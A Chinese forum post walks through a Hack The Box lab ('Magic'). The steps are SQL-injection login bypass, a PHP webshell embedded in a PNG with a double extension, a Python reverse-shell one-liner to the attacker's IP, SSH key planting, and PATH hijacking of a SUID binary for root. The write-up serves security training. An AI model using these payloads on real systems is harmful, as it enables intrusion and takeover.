电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 581 人浏览分享

记一次对HTB_magic的渗透测试

[复制链接]
581 0
靶机介绍:

Magic有两个常见步骤,一个SQLI来绕过登录,一个webshell上传,带有双扩展名来绕过过滤。从那里我可以获得
一个shell并在数据库中查找凭证,然后切换到user。为了获得根目录,有一个二进制文件在没有完整路径的情况下
调用popen,这使它容易受到路径劫持攻击。在Beyond Root中,我将查看导致执行. PHP .png文件的Apache配
置过滤上传的PHP代码以及suid二进制文件的源代码。

信息收集

1.端口扫描

QQ截图20220725141442.png

发现存在22和80端口。

QQ截图20220725141516.png

2.SQL注入

发现存在SQL注入万能密码进行登录。

601.png

存在文件上传

600.png

3生成图片马进行文件上传

使用exiftool -Comment='<?php system($_REQUEST['cmd']); ?>' 1.png 生成一个图片马
图片在网上下一个.png格式的。

599.png

发现直接上传.png格式是无法上传成功的,将其改成1.php.png格式。再次进行上传。

QQ截图20220725141838.png

成功进行上传

408.png

漏洞利用:

1.命令执行

上传之后,发现可以执行命令。

QQ截图20220725142757.png

2.反弹低权限shell

利用python3:ython3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.16.4",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.c
all(["/bin/sh","-i"]);'进行反弹shell,然后在浏览器进行访问

http://10.10.10.185/images/uploads/1.php.jpg?0=python3 -c 'import socket,subprocess,os;s=socket.so
cket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",8833));os.dup2(s.fileno(),0); os.dup2
(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con
nect(("10.10.16.4",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subproces
s.call(["/bin/sh","-i"]);'

407.png

使用nc监听8833端口。然后在浏览器访问url地址,成功获得低权限shell。

406.png

权限提升:

1.获取数据库用户账号密码

在查看文件的过程中,发现存在db数据库文件。成功找到了数据库和密码。

404.png

然后使用mysql进行登录。

236.png

登录之后,直接获得了admin用户密码。

233.png

2.ssh登录

使用su切换用户。成功找到第一个user.txt文件。

229.png

3.生成ssh公钥,写入公钥。

228.png

将公钥写入到远程服务器的authorized_keys文件。

echo “ssh-rsa 我是猪!B3NzaC1yc2E我是猪!DAQABAAABgQC3EQYtrsL4KEhFMWW1GH2RBKBfYWAxmAXdT/yF2/g
3h/dvTjQfKx3HfKkhlBcqqBSp/6ZbeVXZW6bqGhQq+aKvjVOMoHA8/zKZ2SvB3Zt6ehAyiQeCnFeSB1Jou5bDdRs
imz6J3XYniOpnGOqk2Ytv35HI5J4900T5GSAXr2InQgPt+94yn60uHBMB5ani5du+1pAxUJOQ+7i6/BdjGvCGwMh
+rqyboEM9qRZJiO/hTcMxeMmQTP+iHS3sGuzQaj7KseJV8vjmdC76SLRLOJsMWob/CSytsh/PZhxpNUUmXZAD1
eHhOGuos811PpZ3N3RoP7tDHWjr2Ee9evNp8vhMWgUU0HkWr++mpS8/a5cqi0DETPmmnU97EYpOQtDPXMH
DyzihYc0OGYgNn4M4OCKcebid1vyhRRlib1UYQx6JKDxIBDeQM0LSbUx0T/qmsOYKOX1vwiTzCaZahRp+gJaiN5p
TXMU4hcKOLalnk4urv4u1LOs5QpAWydIQluwCvZM= root@kalii>authorized_keys

226.png

222.png

4.ssh远程连接

使用本地ssh进行连接。

221.png

5.远程文件传输

在github下载LinEnum.sh,然后本地开启80端口。

220.png

6.使用LinEnum.sh脚本检测薄弱点

远程服务器成功下载到,然后使用脚本进行检测。

198.png

发现/bin/sysinfo -x权限很可疑,进行查看。

196.png

使用file进行查看,发现是64位的ELF。

195.png

194.png

7.提权

在本地的free文件写入提权脚本。

193.png

开启远程下载。

26.png

成功下载到free文件

25.png

增加其执行权限,然后添加到环境变量当中。

export PATH="/dev/shm:$PATH"

22.png

执行/bin/sysinfo进行查询。

21.png

nc再次开启监听,然后成功获取到root权限。接着进入root目录,成功获取到root.txt文件。

6.png

总结:

这个靶机从信息收集-漏洞利用-文件上传。用到了sql注入万能密码漏洞获取登录权限,然后生成图片马进行命令
执行在使用python3进行反弹shell,获取低权限shell之后,存在db数据库文件泄露,然后写入本地ssh公钥利用
本地ssh进行登录,开启远程文件传输,上传LinEnm.sh文件进行枚举权限的缺陷,发现可以利用lshw,fdisk
cat和free等进行权限提升。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.